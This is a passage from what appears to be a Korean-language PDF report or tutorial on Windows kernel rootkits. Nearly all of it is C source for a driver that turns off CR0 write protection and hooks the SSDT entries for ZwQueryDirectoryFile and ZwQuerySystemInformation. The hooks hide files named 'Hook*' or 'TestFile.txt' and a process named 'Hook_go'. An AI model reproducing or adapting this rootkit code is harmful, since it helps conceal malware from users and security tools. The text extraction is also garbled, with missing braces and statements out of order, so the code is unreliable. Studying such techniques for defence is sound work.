ZWQUERYDIRECTORYFILE OldZwQuerySystemInformation; OldZwQueryDirectoryFile; //CR0의 WP를제거 VOID ClearCr_WP(VOID) asm push mov and mov pop eax; eax, cr0; eax, SetCr_Mask; cr0, eax; eax; //CR0의 WP를설정 VOID SetCr_WP(VOID) asm push mov or mov pop eax; eax, cr0; eax, not SetCr_Mask; cr0, eax; eax; - 33 -
// 새로운 ZwQueryDirectoryFile NTSTATUS NewZwQueryDirectoryFile( IN HANDLE filehandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan) NTSTATUS ntstatus; //NtQueryDirectoryFile 함수호출 ntstatus = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) ( filehandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan); if( NT_SUCCESS(ntStatus)) //FileInformation 구조체 struct _FILE_INFORMATION *curr = (struct _FILE_INFORMATION *)FileInformation; struct _FILE_INFORMATION *prev = NULL; DbgPrint(" n"); while(curr) if (curr->filename!= NULL) // 파일명이 "Hook" 으로시작하거나 "TestFile.txt" 인경우 if((0 == memcmp(curr->filename, L"Hook", 8)) (0 == memcmp(curr->filename, L"TestFile.txt", 24))) - 34 -
다음 FileInformation 의위치를저장한다. curr->nextentryoffset; // 전 FileInformation이존재하는경우 if(prev) // 전 FileInformation의 NetxtEntryOffset에 if(curr->nextentryoffset) prev->nextentryoffset += // 마지막프로세서일경우 else prev->nextentryoffset = 0; // 전 FileInformation이존재하지않는경우 else // 다음 FileInformation이존재하는경우 if(curr->nextentryoffset) // 다음 FileInformation을맨앞의 FileInformation으로만든다. (char *)FileInformation += curr->nextentryoffset; // 마지막프로세서일경우 else FileInformation = NULL; // 현재 FileInformation을저장 prev = curr; // 다음 FileInformation으로넘어감 if(curr->nextentryoffset ) ((char *)curr += curr->nextentryoffset); else curr = NULL; return ntstatus; // 새로운 ZwQuerySystemFile NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) NTSTATUS ntstatus; //NtQuerySystemInfrormation 함수호출 - 35 -
ntstatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus)) if(systeminformationclass == 5) struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) if (curr->processname.buffer!= NULL) // 프로세스명이 "Hook_go" 인경우 if(0 == memcmp(curr->processname.buffer, L"Hook_go", 14)) // 전 SystemInformation이존재하는경우 if(prev) // 전 SystemInformation의 NetxtEntryDelta 에다음 SystemInformation의위치를저장한다. if(curr->nextentrydelta) prev->nextentrydelta += curr->nextentrydelta; // 마지막프로세서일경우 else prev->nextentrydelta = 0; // 전 SystemInformation이존재하지않는경우 else // 다음 SystemInformation을맨앞의 SystemInformation으로만든다. if(curr->nextentrydelta) curr->nextentrydelta; (char *)SystemInformation += // 마지막프로세서일경우 else SystemInformation = NULL; // 현재 SystemInformation을저장 - 36 -
return ntstatus; prev = curr; // 다음 SystemInformation으로넘어감 if(curr->nextentrydelta) ((char *)curr += curr->nextentrydelta); // 다음 SystemInformation이존재하지않는다면 else curr = NULL; // 드라이버언로드루틴 VOID OnUnload(IN PDRIVER_OBJECT DriverObject) //WP 무력화 ClearCr_WP(); // 후킹한 SSDT를원상복귀시킨다. InterlockedExchange((LONG (LONG)OldZwQueryDirectoryFile); InterlockedExchange((LONG (LONG)OldZwQuerySystemInformation); *)Syscall_Ptr(ZwQueryDirectoryFile), *)Syscall_Ptr(ZwQuerySystemInformation), //WP 설정 SetCr_WP(); // 드라이버엔트리루틴 NTSTATUS DriverEntry(IN PDRIVER_OBJECT thedriverobject, IN PUNICODE_STRING theregistrypath) thedriverobject->driverunload = OnUnload; OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)Syscall_Ptr(ZwQueryDirectoryFile); OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)Syscall_Ptr(ZwQuerySystemInformation); //WP 무력화 ClearCr_WP(); //SSDT 후킹 OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)InterlockedExchange( (LONG *)Syscall_Ptr(ZwQueryDirectoryFile), (LONG)NewZwQueryDirectoryFile); OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)InterlockedExchange( (LONG *)Syscall_Ptr(ZwQuerySystemInformation), (LONG)NewZwQuerySystemInformation); //WP 설정 SetCr_WP(); - 37 -
return STATUS_SUCCESS; - 38 -